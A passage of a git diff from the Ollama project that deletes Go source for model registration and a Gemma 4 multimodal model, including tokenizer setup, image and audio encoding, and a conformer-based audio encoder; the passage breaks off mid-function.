of data that can be processed independently - // in different batches. - // - // The result may be cached by the runner. - EncodeMultimodal(ml.Context, []byte) ([]input.Multimodal, error) - - // PostTokenize is called after tokenization to allow the model to edit the - // input stream to correctly arrange multimodal elements. - // - // The input is a slice of tokens with the results of EncodeMultimodal interleaved - // in the order that the user provided them. Each element of the slice will be - // either a single token or single multimodal object. - // - // The model must ensure that inputs are stored according to how they will be - // processed and stored in the cache. For example, Llava-style models should insert - // placeholder tokens equal to the feature size of the corresponding image with - // the image itself attached to and split across these tokens. When Forward is called - // a partial subset of these tokens may be submitted according to the batch size. - // - // This function is also responsible for updating MultimodalHash for any Multimodal - // that is modified to ensure that there is a unique hash value that accurately - // represents the contents. - PostTokenize([]*input.Input) ([]*input.Input, error) -} - -// Base implements the common fields and methods for all models -type Base struct { - b ml.Backend - config -} - -type config struct { - Cache kvcache.Cache -} - -// Backend returns the underlying backend that will run the model -func (m *Base) Backend() ml.Backend { - return m.b -} - -func (m *Base) Config() config { - return m.config -} - -var models = make(map[string]func(fs.Config) (Model, error)) - -// Register registers a model constructor for the given architecture -func Register(name string, f func(fs.Config) (Model, error)) { - if _, ok := models[name]; ok { - panic("model: model already registered") - } - - models[name] = f -} - -// New initializes a new model instance with the provided configuration based on the metadata in the model file -func New(modelPath string, params ml.BackendParams) (Model, error) { - b, err := ml.NewBackend(modelPath, params) - if err != nil { - return nil, err - } - - m, err := modelForArch(b.Config()) - if err != nil { - return nil, err - } - - base := Base{b: b, config: m.Config()} - v := reflect.ValueOf(m) - v.Elem().Set(populateFields(base, v.Elem())) - - if validator, ok := m.(Validator); ok { - if err := validator.Validate(); err != nil { - return nil, err - } - } - - return m, nil -} - -func NewTextProcessor(s string) (tokenizer.Tokenizer, error) { - r, err := os.Open(s) - if err != nil { - return nil, err - } - defer r.Close() - - meta, err := fsggml.Decode(r, -1) - if err != nil { - return nil, err - } - - m, err := modelForArch(meta.KV()) - if err != nil { - return nil, err - } - - tp, ok := m.(tokenizer.Tokenizer) - if !ok { - return nil, ErrUnsupportedTokenizer - } - return tp, nil -} - -func modelForArch(c fs.Config) (Model, error) { - arch := c.Architecture() - if pooling.Type(c.Uint("pooling_type")) != pooling.TypeNone { - arch = arch + "_embed" - } - - f, ok := models[arch] - if !ok { - return nil, ErrUnsupportedModel - } - - return f(c) -} - -func populateFields(base Base, v reflect.Value, tags ...Tag) reflect.Value { - t := v.Type() - - if t.Kind() == reflect.Struct { - allNil := true - for i := range t.NumField() { - tt := t.Field(i).Type - vv := v.Field(i) - if !vv.CanSet() { - continue - } - - // make a copy - tagsCopy := tags - if tag := t.Field(i).Tag.Get("gguf"); tag != "" { - tagsCopy = append(tagsCopy, parseTag(tag)) - } - - if tt == reflect.TypeOf((*Base)(nil)).Elem() { - vv.Set(reflect.ValueOf(base)) - } else if tt == reflect.TypeOf((*ml.Tensor)(nil)).Elem() { - var fn func([]Tag, string, string) [][]string - fn = func(tags []Tag, prefix, suffix string) (fullNames [][]string) { - if len(tags) > 0 { - var names []string - if tags[0].name != "" { - for _, n := range append([]string{tags[0].name}, tags[0].alternatives...) { - names = append(names, prefix+n+suffix) - } - } - childNames := fn(tags[1:], tags[0].prefix, tags[0].suffix) - if len(names) == 0 { - // current tag has no name, use child names only - fullNames = append(fullNames, childNames...) - } else if len(childNames) == 0 { - // current tag has names but no children, create branches for each name - for _, name := range names { - fullNames = append(fullNames, []string{name}) - } - } else { - // merge each name with each child - for _, name := range names { - for _, childName := range childNames { - fullNames = append(fullNames, append([]string{name}, childName...)) - } - } - } - } - - return fullNames - } - - names := fn(tagsCopy, "", "") - for _, name := range names { - if tensor := base.Backend().Get(strings.Join(name, ".")); tensor != nil { - logutil.Trace("found tensor", "", tensor) - vv.Set(reflect.ValueOf(tensor)) - break - } - } - } else if tt.Kind() == reflect.Pointer || tt.Kind() == reflect.Interface { - setPointer(base, vv, tagsCopy) - } else if tt.Kind() == reflect.Slice || tt.Kind() == reflect.Array { - for i := range vv.Len() { - vvv := vv.Index(i) - if vvv.Kind() == reflect.Pointer || vvv.Kind() == reflect.Interface { - setPointer(base, vvv, append(tagsCopy, Tag{name: strconv.Itoa(i)})) - } else { - vvv.Set(populateFields(base, vvv, append(tagsCopy, Tag{name: strconv.Itoa(i)})...)) - } - } - } - - if !canNil(tt) || !vv.IsNil() { - allNil = false - } - } - - if allNil { - return reflect.Zero(t) - } - } - - return v -} - -func setPointer(base Base, v reflect.Value, tags []Tag) { - vv := v - if v.Kind() == reflect.Interface { - if v.IsNil() { - return - } - - vv = vv.Elem() - } - - vv = reflect.Indirect(vv) - if v.IsNil() { - vv = reflect.New(v.Type().Elem()).Elem() - } - - if f := populateFields(base, vv, tags...); f.CanAddr() { - v.Set(f.Addr()) - } -} - -type Tag struct { - name, - // prefix and suffix are applied to child tags - prefix, - suffix string - alternatives []string -} - -func parseTag(s string) (tag Tag) { - parts := strings.Split(s, ",") - if len(parts) > 0 { - tag.name = parts[0] - - for _, part := range parts[1:] { - if value, ok := strings.CutPrefix(part, "alt:"); ok && tag.name == "" { - // elevate alternative to primary if no primary given - tag.name = value - slog.Warn("gguf tag has alt: but no primary name", "tag", s) - } else if ok { - tag.alternatives = append(tag.alternatives, value) - } - if value, ok := strings.CutPrefix(part, "pre:"); ok { - tag.prefix = value - } - if value, ok := strings.CutPrefix(part, "suf:"); ok { - tag.suffix = value - } - } - } - - return -} - -func canNil(t reflect.Type) bool { - return t.Kind() == reflect.Chan || - t.Kind() == reflect.Func || - t.Kind() == reflect.Interface || - t.Kind() == reflect.Map || - t.Kind() == reflect.Pointer || - t.Kind() == reflect.Slice -} - -func Forward(ctx ml.Context, m Model, batch input.Batch) (ml.Tensor, error) { - if len(batch.Positions) != len(batch.Sequences) { - return nil, fmt.Errorf("length of positions (%v) must match length of seqs (%v)", len(batch.Positions), len(batch.Sequences)) - } - - if len(batch.Positions) < 1 { - return nil, errors.New("batch size cannot be less than 1") - } - - cache := m.Config().Cache - if cache != nil { - err := cache.StartForward(ctx, batch, false) - if err != nil { - return nil, err - } - } - - t, err := m.Forward(ctx, batch) - if err != nil { - return nil, err - } - - ctx.Forward(t) - - return t, nil -} diff --git a/model/models/gemma4/model.go b/model/models/gemma4/model.go deleted file mode 100644 index 45d986fc7..000000000 --- a/model/models/gemma4/model.go +++ /dev/null @@ -1,265 +0,0 @@ -package gemma4 - -import ( - "bytes" - "fmt" - "image" - "log/slog" - "slices" - "time" - - "github.com/ollama/ollama/fs" - "github.com/ollama/ollama/kvcache" - "github.com/ollama/ollama/ml" - "github.com/ollama/ollama/ml/nn" - "github.com/ollama/ollama/ml/nn/rope" - "github.com/ollama/ollama/model" - "github.com/ollama/ollama/model/input" - "github.com/ollama/ollama/tokenizer" -) - -type Model struct { - model.Base - tokenizer.Tokenizer - - *VisionModel `gguf:"v"` - *TextModel - *AudioModel `gguf:"a"` - - *MultiModalProjector `gguf:"mm"` - *AudioMultimodalProjector `gguf:"mm.a"` - - ImageProcessor - - imageTokenID int32 - imageEndTokenID int32 - audioTokenID int32 - audioEndTokenID int32 - - audioOpts *AudioModelOptions -} - -var _ model.MultimodalProcessor = (*Model)(nil) - -type MultiModalProjector struct { - Projection *ClippableLinear `gguf:"input_projection"` -} - -func (p *MultiModalProjector) Forward(ctx ml.Context, visionOutputs ml.Tensor, eps float32) ml.Tensor { - visionOutputs = p.Projection.Forward(ctx, visionOutputs) - // Post-projection RMSNorm without learned weight - visionOutputs = visionOutputs.RMSNorm(ctx, nil, eps) - return visionOutputs -} - -func New(c fs.Config) (model.Model, error) { - vocabulary := tokenizer.Vocabulary{ - Values: c.Strings("tokenizer.ggml.tokens"), - Scores: c.Floats("tokenizer.ggml.scores"), - Types: c.Ints("tokenizer.ggml.token_type"), - Merges: c.Strings("tokenizer.ggml.merges"), - AddBOS: c.Bool("tokenizer.ggml.add_bos_token", false), - BOS: []int32{int32(c.Uint("tokenizer.ggml.bos_token_id"))}, - AddEOS: c.Bool("tokenizer.ggml.add_eos_token", false), - EOS: append( - []int32{ - int32(c.Uint("tokenizer.ggml.eos_token_id")), - }, - c.Ints("tokenizer.ggml.eos_token_ids")..., - ), - } - - vocabulary.EOS = append(vocabulary.EOS, int32(c.Uint("tokenizer.ggml.eot_token_id", 106))) - - // Gemma 4 uses BPE with SentencePiece-style ▁ space markers (not GPT-2 byte-level encoding). - // The tokenizer.json has merges and a Replace normalizer (space → ▁), with no pre-tokenizer. - t := tokenizer.NewBytePairEncodingWithOptions(&vocabulary, []string{}, - tokenizer.WithSentencePieceNormalizer()) - - // Look up special token IDs for vision and audio - imageTokenID := int32(-1) - imageEndTokenID := int32(-1) - audioTokenID := int32(-1) - audioEndTokenID := int32(-1) - for i, tok := range vocabulary.Values { - switch tok { - case "<|image>": - imageTokenID = int32(i) - case "": - imageEndTokenID = int32(i) - case "<|audio>": - audioTokenID = int32(i) - case "": - audioEndTokenID = int32(i) - } - } - - slog.Info("gemma4: token IDs", "image", imageTokenID, "image_end", imageEndTokenID, "audio", audioTokenID, "audio_end", audioEndTokenID) - - m := Model{ - Tokenizer: t, - TextModel: newTextModel(c), - VisionModel: newVisionModel(c), - AudioModel: newAudioModel(c), - MultiModalProjector: &MultiModalProjector{}, - AudioMultimodalProjector: &AudioMultimodalProjector{}, - ImageProcessor: newImageProcessor(c), - imageTokenID: imageTokenID, - imageEndTokenID: imageEndTokenID, - audioTokenID: audioTokenID, - audioEndTokenID: audioEndTokenID, - audioOpts: newAudioModelOptions(c), - } - - slidingWindowLen := int32(c.Uint("attention.sliding_window")) - m.Cache = kvcache.NewWrapperCache( - kvcache.NewSWAMemCache(slidingWindowLen, 4096, m.Shift), - kvcache.NewCausalCache(m.Shift), - ) - - return &m, nil -} - -func (m *Model) EncodeMultimodal(ctx ml.Context, multimodalData []byte) ([]input.Multimodal, error) { - // Audio input: detect WAV format and route to audio encoder. - if isAudioData(multimodalData) { - return m.encodeAudioMultimodal(ctx, multimodalData) - } - - if len(m.VisionModel.Layers) == 0 { - return nil, model.ErrNoVisionModel - } - - t0 := time.Now() - img, _, err := image.Decode(bytes.NewReader(multimodalData)) - if err != nil { - return nil, err - } - slog.Info("vision: decode", "elapsed", time.Since(t0), "bounds", img.Bounds()) - - t1 := time.Now() - f32s, imgW, imgH, err := m.ImageProcessor.ProcessImage(img) - if err != nil { - return nil, err - } - slog.Info("vision: preprocess", "elapsed", time.Since(t1), "size", [2]int{imgW, imgH}) - - pixelValues := ctx.Input().FromFloats(f32s, imgW, imgH, m.ImageProcessor.numChannels) - slog.Info("vision: pixelValues", "shape", pixelValues.Shape(), "dim0", pixelValues.Dim(0), "dim1", pixelValues.Dim(1), "dim2", pixelValues.Dim(2)) - - numPatchesX := imgW / m.ImageProcessor.patchSize - numPatchesY := imgH / m.ImageProcessor.patchSize - slog.Info("vision: patches", "patchesX", numPatchesX, "patchesY", numPatchesY, "total", numPatchesX*numPatchesY, "patchSize", m.ImageProcessor.patchSize) - - visionOutputs := m.VisionModel.Forward(ctx, pixelValues, numPatchesX, numPatchesY) - visionOutputs = visionPoolAndProject(ctx, visionOutputs, numPatchesX, numPatchesY, m.VisionModel.VisionModelOptions, m.MultiModalProjector, m.VisionModel.StdBias, m.VisionModel.StdScale) - slog.Info("vision: encoded", "elapsed", time.Since(t0), "shape", visionOutputs.Shape()) - - return []input.Multimodal{{Tensor: visionOutputs}}, nil -} - -func (m *Model) PostLoad() error { - m.VisionModel.InitClamp(m.MultiModalProjector) - return nil -} - -func (m *Model) encodeAudioMultimodal(ctx ml.Context, data []byte) ([]input.Multimodal, error) { - if m.AudioModel == nil || m.audioOpts == nil { - return nil, model.ErrNoVisionModel - } - - t0 := time.Now() - samples, err := decodeWAV(data) - if err != nil { - return nil, err - } - slog.Info("audio: decode", "elapsed", time.Since(t0), "samples", len(samples), "duration_s", float64(len(samples))/audioSampleRate) - - // Pad waveform to next multiple of 128. - if rem := len(samples) % 128; rem != 0 { - samples = append(samples, make([]float32, 128-rem)...) - } - - // Compute mel spectrogram. - melData, numFrames := computeMelSpectrogram(samples) - if numFrames == 0 { - return nil, fmt.Errorf("audio too short to encode") - } - slog.Info("audio: mel", "frames", numFrames, "elapsed", time.Since(t0)) - - // Create input tensor [melBins, numFrames] (GGML ne order). FromFloats creates F32. - melTensor := ctx.Input().FromFloats(melData, melBins, numFrames) - - // Run audio encoder. - audioOutputs := m.AudioModel.ForwardAudio(ctx, melTensor, m.AudioMultimodalProjector, m.audioOpts) - slog.Info("audio: encoded", "elapsed", time.Since(t0), "shape", audioOutputs.Shape()) - - return []input.Multimodal{{Tensor: audioOutputs, Data: audioTag{}}}, nil -} - -// audioTag marks multimodal data as audio (vs vision) for PostTokenize. -type audioTag struct{} - -func (m *Model) PostTokenize(inputs []*input.Input) ([]*input.Input, error) { - var result []*input.Input - - for _, inp := range inputs { - if len(inp.Multimodal) == 0 { - result = append(result, inp) - continue - } - - inputMultimodal := inp.Multimodal[0].Tensor - numTokens := inputMultimodal.Dim(1) - - // Determine if this is audio or vision based on the tag. - _, isAudio := inp.Multimodal[0].Data.(audioTag) - - var beginToken, endToken int32 - if isAudio { - beginToken = m.audioTokenID - endToken = m.audioEndTokenID - } else { - beginToken = m.imageTokenID - endToken = m.imageEndTokenID - } - - if beginToken >= 0 { - result = append(result, &input.Input{Token: beginToken, SameBatch: numTokens + 2}) - } - - result = append(result, - &input.Input{Multimodal: []input.Multimodal{{Tensor: inputMultimodal}}, MultimodalHash: inp.MultimodalHash}, - ) - result = append(result, slices.Repeat([]*input.Input{{Token: 0}}, numTokens-1)...) - - if endToken >= 0 { - result = append(result, &input.Input{Token: endToken}) - } - } - - return result, nil -} - -func (m *Model) Forward(ctx ml.Context, batch input.Batch) (ml.Tensor, error) { - hiddenState := m.TextModel.Forward(ctx, batch, m.Cache) - - hiddenState = m.TextModel.Output.Forward(ctx, hiddenState) - - if m.TextModel.TextOptions.finalLogitSoftcap > 0.0 { - hiddenState = hiddenState.Scale(ctx, 1.0/float64(m.TextModel.TextOptions.finalLogitSoftcap)) - hiddenState = hiddenState.Tanh(ctx) - hiddenState = hiddenState.Scale(ctx, float64(m.TextModel.TextOptions.finalLogitSoftcap)) - } - - return hiddenState, nil -} - -func (m *Model) Shift(ctx ml.Context, layer int, key, shift ml.Tensor) (ml.Tensor, error) { - ropeBase, ropeDims := m.TextModel.ropeForLayer(layer) - return nn.RoPE(ctx, key, shift, ropeDims, ropeBase, 1.0, rope.WithTypeNeoX()), nil -} - -func init() { - model.Register("gemma4", New) -} diff --git a/model/models/gemma4/model_audio.go b/model/models/gemma4/model_audio.go deleted file mode 100644 index 2bb53fad7..000000000 --- a/model/models/gemma4/model_audio.go +++ /dev/null @@ -1,611 +0,0 @@ -package gemma4 - -import ( - "math" - - "github.com/ollama/ollama/fs" - "github.com/ollama/ollama/ml" - "github.com/ollama/ollama/ml/nn" -) - -// AudioModel holds the audio encoder and configuration. -type AudioModel struct { - // SSCP: Sub-Sample Convolution Projection. - SSCPConv0 *AudioConvBlock `gguf:"conv1d.0"` - SSCPConv1 *AudioConvBlock `gguf:"conv1d.1"` - - // SSCP output projection (linear). - SSCPInputProj *nn.Linear `gguf:"pre_encode.out"` - - // Conformer blocks. - Layers []AudioConformerBlock `gguf:"blk"` - - // Output projection to embedder dimension. - OutputProj *AudioOutputProj `gguf:"output_proj"` - - AudioModelOptions -} - -type AudioOutputProj struct { - Weight ml.Tensor `gguf:"weight"` - Bias ml.Tensor `gguf:"bias"` -} - -// AudioModelOptions holds audio model hyperparameters. -type AudioModelOptions struct { - hiddenSize int - numHeads int - headDim int - ffnSize int - numLayers int - melBins int - chunkSize int - maxPast int - maxFuture int - contextSize int - logitCap float32 - residualWeight float32 - gradClip float32 - convKernelSize int - eps float32 -} - -// AudioConvBlock is a single 2D convolution block for the SSCP. -type AudioConvBlock struct { - Weight ml.Tensor `gguf:"weight"` - Norm *nn.LayerNorm `gguf:"norm"` -} - -// AudioConformerBlock is a single conformer layer. -// All tensors are flat at the block level (a.blk.N.) using underscore naming. -type AudioConformerBlock struct { - // Block-level norm - Norm *nn.RMSNorm `gguf:"layer_pre_norm"` - - // FFW start - FFWNorm *nn.RMSNorm `gguf:"ffn_norm"` - FFWUp *AudioClippableLinear `gguf:"ffn_up"` - FFWDown *AudioClippableLinear `gguf:"ffn_down"` - FFWPostNorm *nn.RMSNorm `gguf:"ffn_post_norm"` - - // FFW end - FFWNorm1 *nn.RMSNorm `gguf:"ffn_norm_1"` - FFWUp1 *AudioClippableLinear `gguf:"ffn_up_1"` - FFWDown1 *AudioClippableLinear `gguf:"ffn_down_1"` - FFWPostNorm1 *nn.RMSNorm `gguf:"ffn_post_norm_1"` - - // Attention - AttnQ *AudioClippableLinear `gguf:"attn_q"` - AttnK *AudioClippableLinear `gguf:"attn_k"` - AttnV *AudioClippableLinear `gguf:"attn_v"` - AttnOut *AudioClippableLinear `gguf:"attn_out"` - AttnPreNorm *nn.RMSNorm `gguf:"ln1"` - AttnPostNorm *nn.RMSNorm `gguf:"ln2"` - LinearPos ml.Tensor `gguf:"linear_pos.weight"` - PerDimScale ml.Tensor `gguf:"per_dim_scale.weight"` - - // LightConv1d - ConvPW1 *AudioClippableLinear `gguf:"conv_pw1"` - ConvPW2 *AudioClippableLinear `gguf:"conv_pw2"` - ConvDW ml.Tensor `gguf:"conv_dw.weight"` - ConvNorm *nn.RMSNorm `gguf:"conv_norm"` - NormConv *nn.RMSNorm `gguf:"norm_conv"` -} - -// AudioClippableLinear is a linear layer with optional input/output clamping. -type AudioClippableLinear struct { - Weight ml.Tensor `gguf:"weight"` - Bias ml.Tensor `gguf:"bias"` - InputMin ml.Tensor `gguf:"input_min"` - InputMax ml.Tensor `gguf:"input_max"` - OutputMin ml.Tensor `gguf:"output_min"` - OutputMax ml.Tensor `gguf:"output_max"` - - // Cached scalar clamp values (populated on first forward). - inMin, inMax, outMin, outMax float32 - clampsLoaded bool -} - -func (l *AudioClippableLinear) loadClamps() { - if l.clampsLoaded { - return - } - l.clampsLoaded = true - if l.InputMin != nil { - vals := l.InputMin.BackendGet() - if len(vals) > 0 { - l.inMin = vals[0] - } - } - if l.InputMax != nil { - vals := l.InputMax.BackendGet() - if len(vals) > 0 { - l.inMax = vals[0] - } - } - if l.OutputMin != nil { - vals := l.OutputMin.BackendGet() - if len(vals) > 0 { - l.outMin = vals[0] - } - } - if l.OutputMax != nil { - vals := l.OutputMax.BackendGet() - if len(vals) > 0 { - l.outMax = vals[0] - } - } -} - -func (l *AudioClippableLinear) Forward(ctx ml.Context, x ml.Tensor) ml.Tensor { - l.loadClamps() - if l.inMax != 0 { - x = x.Clamp(ctx, l.inMin, l.inMax) - } - out := l.Weight.Mulmat(ctx, x) - if l.Bias != nil { - out = out.Add(ctx, l.Bias) - } - if l.outMax != 0 { - out = out.Clamp(ctx, l.outMin, l.outMax) - } - return out -} - -// AudioMultimodalProjector is the audio-to-text embedding projector. -type AudioMultimodalProjector struct { - Projection *AudioClippableLinear `gguf:"input_projection"` - FC *AudioFC `gguf:"fc"` -} - -type AudioFC struct { - Weight ml.Tensor `gguf:"weight"` - Bias ml.Tensor `gguf:"bias"` -} - -func (p *AudioMultimodalProjector) Forward(ctx ml.Context, x ml.Tensor, eps float32) ml.Tensor { - // FC: output projection from conformer to embedder dimension. - x = p.FC.Weight.Mulmat(ctx, x) - if p.FC.Bias != nil { - x = x.Add(ctx, p.FC.Bias) - } - // Pre-projection RMSNorm (without learned weight) — matches Python's embedding_pre_projection_norm. - x = x.RMSNorm(ctx, nil, eps) - // Embedding projection to text hidden size. - x = p.Projection.Forward(ctx, x) - return x -} - -// ForwardAudio encodes mel spectrogram features into soft tokens. -// melFeatures: float32 tensor with ne[0]=melBins, ne[1]=numFrames. -// Returns: [hiddenSize, numTokens] tensor. -func (m *AudioModel) ForwardAudio(ctx ml.Context, melFeatures ml.Tensor, proj *AudioMultimodalProjector, opts *AudioModelOptions) ml.Tensor { - // SSCP Conv2D input: ne[0]=F (freq/width), ne[1]=T (time/height), ne[2]=C_in, ne[3]=B - // melFeatures is [melBins, numFrames], add channel and batch dims. - x := melFeatures.Reshape(ctx, melFeatures.Dim(0), melFeatures.Dim(1), 1, 1) - - // SSCP Conv block 0: [F, T, 1, 1] → [F', T', C0, 1] - x = forwardConvBlock(ctx, m.SSCPConv0, x, opts) - - // SSCP Conv block 1: [F', T', C0, 1] → [F'', T'', C1, 1] - x = forwardConvBlock(ctx, m.SSCPConv1, x, opts) - - // After conv blocks, layout is [F'', T'', C_out, B]. - // Permute to [C_out*F'', T'', B] for linear projection (channels+freq in ne[0]). - fOut := x.Dim(0) - tOut := x.Dim(1) - cOut := x.Dim(2) - // Permute [F'', T'', C, B] → [C, F'', T'', B] - // (1,2,0,3): old[0]→pos1, old[1]→pos2, old[2]→pos0 - x = x.Permute(ctx, 1, 2, 0, 3).Contiguous(ctx) - x = x.Reshape(ctx, cOut*fOut, tOut) - - // Linear projection to hidden size. - x = m.SSCPInputProj.Forward(ctx, x) - - // Build causal-valid mask for conformer attention. - causalMask := buildCausalValidMaskF32(opts.chunkSize, opts.maxPast, opts.maxFuture) - - // Run conformer blocks. - for i := range m.Layers { - x = m.Layers[i].Forward(ctx, x, causalMask, opts, i) - } - - // Output projection. - if m.OutputProj != nil { - x = m.OutputProj.Weight.Mulmat(ctx, x) - if m.OutputProj.Bias != nil { - x = x.Add(ctx, m.OutputProj.Bias) - } - } - - // Audio embedder: project to text embedding space. - if proj != nil { - x = proj.Forward(ctx, x, opts.eps) - } - - return x -} - -// forwardConvBlock runs a single SSCP Conv2D block. -// Conv2D receiver is the kernel, argument is the input data. -// Input: [F, T, C_in, B]. Output: [F', T', C_out, B]. -func forwardConvBlock(ctx ml.Context, block *AudioConvBlock, x ml.Tensor, opts *AudioModelOptions) ml.Tensor { - // Conv2D: kernel.Conv2D(ctx, input, s0, s1, p0, p1, d0, d1) - // Kernel is 3x3, stride 2x2, padding 1x1 (matching SSCP config). - // Output layout: [F', T', C_out, B] - // Make weight contiguous — the shape reversal in the converter creates - // a tensor where the physical data order doesn't match ne[]/stride[]. - weight := block.Weight.Contiguous(ctx) - x = weight.Conv2D(ctx, x, 2, 2, 1, 1, 1, 1) - - // LayerNorm needs channels in ne[0]. Permute [F', T', C_out, B] → [C_out, F', T', B], - // norm, then permute back. - // GGML permute: axis i says where old axis i goes. - // (1,2,0,3): old[0]→pos1, old[1]→pos2, old[2]→pos0 → [C_out, F', T', B] - x = x.Permute(ctx, 1, 2, 0, 3).Contiguous(ctx) - x = block.Norm.Forward(ctx, x, opts.eps) - // (2,0,1,3): old[0]→pos2, old[1]→pos0, old[2]→pos1 → [F', T', C_out, B] - x = x.Permute(ctx, 2, 0, 1, 3).Contiguous(ctx) - - x = x.RELU(ctx) - return x -} - -// Forward runs a single conformer block. -func (cb *AudioConformerBlock) Forward(ctx ml.Context, x ml.Tensor, causalMask []float32, opts *AudioModelOptions, blockIdx int) ml.Tensor { - // FFW start (half-residual). - x = cb.forwardFFW(ctx, cb.FFWNorm, cb.FFWUp, cb.FFWDown, cb.FFWPostNorm, x, opts) - - // Self-attention. - x = cb.forwardAttention(ctx, x, causalMask, opts, blockIdx) - - // Lightweight Conv1d. - x = cb.forwardLightConv(ctx, x, opts, blockIdx) - - // FFW end (half-residual). - x = cb.forwardFFW(ctx, cb.FFWNorm1, cb.FFWUp1, cb.FFWDown1, cb.FFWPostNorm1, x, opts) - - // Gradient clipping + final norm. - x = x.Clamp(ctx, -opts.gradClip, opts.gradClip) - x = cb.Norm.Forward(ctx, x, opts.eps) - - return x -} - -// forwardFFW runs a feedforward module with half-residual connection. -func (cb *AudioConformerBlock) forwardFFW(ctx ml.Context, preNorm *nn.RMSNorm, up, down *AudioClippableLinear, postNorm *nn.RMSNorm, x ml.Tensor, opts *AudioModelOptions) ml.Tensor { - residual := x - x = x.Clamp(ctx, -opts.gradClip, opts.gradClip) - x = preNorm.Forward(ctx, x, opts.eps) - x = up.Forward(ctx, x) - x = x.SILU(ctx) - x = down.Forward(ctx, x) - x = x.Clamp(ctx, -opts.gradClip, opts.gradClip) - x = postNorm.Forward(ctx, x, opts.eps) - x = x.Scale(ctx, float64(opts.residualWeight)) - return residual.Add(ctx, x) -} - -// forwardAttention runs the conformer block-local attention with relative position embeddings. -func (cb *AudioConformerBlock) forwardAttention(ctx ml.Context, x ml.Tensor, causalMask []float32, opts *AudioModelOptions, blockIdx int) ml.Tensor { - residual := x - x = x.Clamp(ctx, -opts.gradClip, opts.gradClip) - x = cb.AttnPreNorm.Forward(ctx, x, opts.eps) - - hiddenSize := x.Dim(0) - seqLen := x.Dim(1) - - // QKV projections: [hiddenSize, seqLen] → [headDim, numHeads, seqLen] - q := cb.AttnQ.Forward(ctx, x).Reshape(ctx, opts.headDim, opts.numHeads, seqLen) - k := cb.AttnK.Forward(ctx, x).Reshape(ctx, opts.headDim, opts.numHeads, seqLen) - v := cb.AttnV.Forward(ctx, x).Reshape(ctx, opts.headDim, opts.numHeads, seqLen) - - // Per-dim scaling for queries: (headDim^-0.5 / log(2)) * softplus(per_dim_scale) - // per_dim_scale is already softplus'd from the converter. - qScale := float64(math.Pow(float64(opts.headDim), -0.5)) / math.Log(2) - q = q.Scale(ctx, qScale) - if cb.PerDimScale != nil { - q = q.Mul(ctx, cb.PerDimScale) - } - - // Key scaling: softplus(1) / log(2) — matches the query base scaling convention. - kScale := math.Log(1+math.E) / math.Log(2) - k = k.Scale(ctx, kScale) - - // Build sinusoidal position embeddings for the block-local context. - maxSpan := opts.maxPast + opts.maxFuture + 1 // 13 unique relative positions - posEmb := cb.buildPositionEmbeddings(ctx, maxSpan, opts) - // posEmb: [headDim, numHeads, maxSpan] - - // Block-local attention: process chunks of size chunkSize. - chunkSize := opts.chunkSize - numChunks := (seqLen + chunkSize - 1) / chunkSize - contextSize := opts.contextSize - - // Pad q/k/v to multiple of chunkSize on the time dimension (dim 2). - padT := numChunks*chunkSize - seqLen - if padT > 0 { - q = q.Pad(ctx, 0, 0, padT, 0) - k = k.Pad(ctx, 0, 0, padT, 0) - v = v.Pad(ctx, 0, 0, padT, 0) - } - paddedLen := numChunks * chunkSize - - // Pad k/v for context extraction: add maxPast on left, (maxFuture+chunkSize-1) on right. - // Use Pad (right) + PadExt (left) workaround since PadExt+Slice has issues. - // Actually use Concat with zero tensors for reliable left-padding. - padLeft := opts.maxPast - padRight := opts.maxFuture + chunkSize - 1 - zeroLeft := ctx.Input().FromFloats(make([]float32, opts.headDim*opts.numHeads*padLeft), opts.headDim, opts.numHeads, padLeft) - zeroRight := ctx.Input().FromFloats(make([]float32, opts.headDim*opts.numHeads*padRight), opts.headDim, opts.numHeads, padRight) - kPadded := zeroLeft.Concat(ctx, k, 2).Concat(ctx, zeroRight, 2) - vPadded := zeroLeft.Concat(ctx, v, 2).Concat(ctx, zeroRight, 2) - - // Reshape q into chunks: [headDim, numHeads, numChunks, chunkSize] - qChunked := q.Reshape(ctx, opts.headDim, opts.numHeads, numChunks, chunkSize) - - // Process each chunk and collect results. - chunkOutputs := make([]ml.Tensor, numChunks) - for u := range numChunks { - // Extract query block: [headDim, numHeads, 1, chunkSize] → [headDim, numHeads, chunkSize] - qBlock := qChunked.Slice(ctx, 2, u, u+1, 1).Reshape(ctx, opts.headDim, opts.numHeads, chunkSize) - - // Extract key/value context: [headDim, numHeads, contextSize] - cStart := u * chunkSize // offset in kPadded (padLeft already accounts for left context) - kCtx := kPadded.Slice(ctx, 2, cStart, cStart+contextSize, 1).Contiguous(ctx) - vCtx := vPadded.Slice(ctx, 2, cStart, cStart+contextSize, 1).Contiguous(ctx) - - // Content-content logits: qBlock^T @ kCtx → [chunkSize, contextSize] per head. - // Mulmat(a, b) = a^T @ b. We want Q^T K, so: kCtx.Mulmat(qBlock) but that gives - // [numHeads, chunkSize, contextSize] with wrong batching. - // Instead: permute to [headDim, chunkSize, numHeads] and [headDim, contextSize, numHeads] - // then Mulmat batches over numHeads. - // GGML permute(0,2,1,3): old[0]→0, old[1]→2, old[2]→1 - qP := qBlock.Permute(ctx, 0, 2, 1, 3) // [headDim, chunkSize, numHeads] - kP := kCtx.Permute(ctx, 0, 2, 1, 3) // [headDim, contextSize, numHeads] - - termAC := kP.MulmatFullPrec(ctx, qP) // [contextSize, chunkSize, numHeads] - - // Content-position logits: qBlock^T @ posEmb → [chunkSize, maxSpan] per head. - pP := posEmb.Permute(ctx, 0, 2, 1, 3) // [headDim, maxSpan, numHeads] - termBDRaw := pP.MulmatFullPrec(ctx, qP) // [maxSpan, chunkSize, numHeads] - - // Relative shift: [maxSpan, chunkSize, numHeads] → [contextSize, chunkSize, numHeads] - termBD := cb.relativeShiftGGML(ctx, termBDRaw, maxSpan, chunkSize, contextSize, opts.numHeads) - - // Combined logits. - logits := termAC.Add(ctx, termBD) - - // Logit softcap: tanh(logits / cap) * cap - logits = logits.Scale(ctx, 1.0/float64(opts.logitCap)) - logits = logits.Tanh(ctx) - logits = logits.Scale(ctx, float64(opts.logitCap)) - - // Apply combined causal + validity mask. - // causalMask [chunkSize * contextSize]: 1=causal-allowed, 0=masked. - // Validity: context positions before the actual sequence start are invalid. - // For chunk u, context position c corresponds to actual time: u*chunkSize + c - padLeft. - // Valid if 0 <= actual_time < seqLen. - // Mask tensor layout: [contextSize, chunkSize, 1] with ne[0]=contextSize contiguous. - // Element at (context=j, chunk=i) is at flat index: i*contextSize + j. - maskData := make([]float32, contextSize*chunkSize) - for i := range chunkSize { - for j := range contextSize { - actualTime := u*chunkSize + j - padLeft - causalOK := causalMask[i*contextSize+j] > 0 - validOK := actualTime >= 0 && actualTime < seqLen - if causalOK && validOK { - maskData[i*contextSize+j] = 0 - 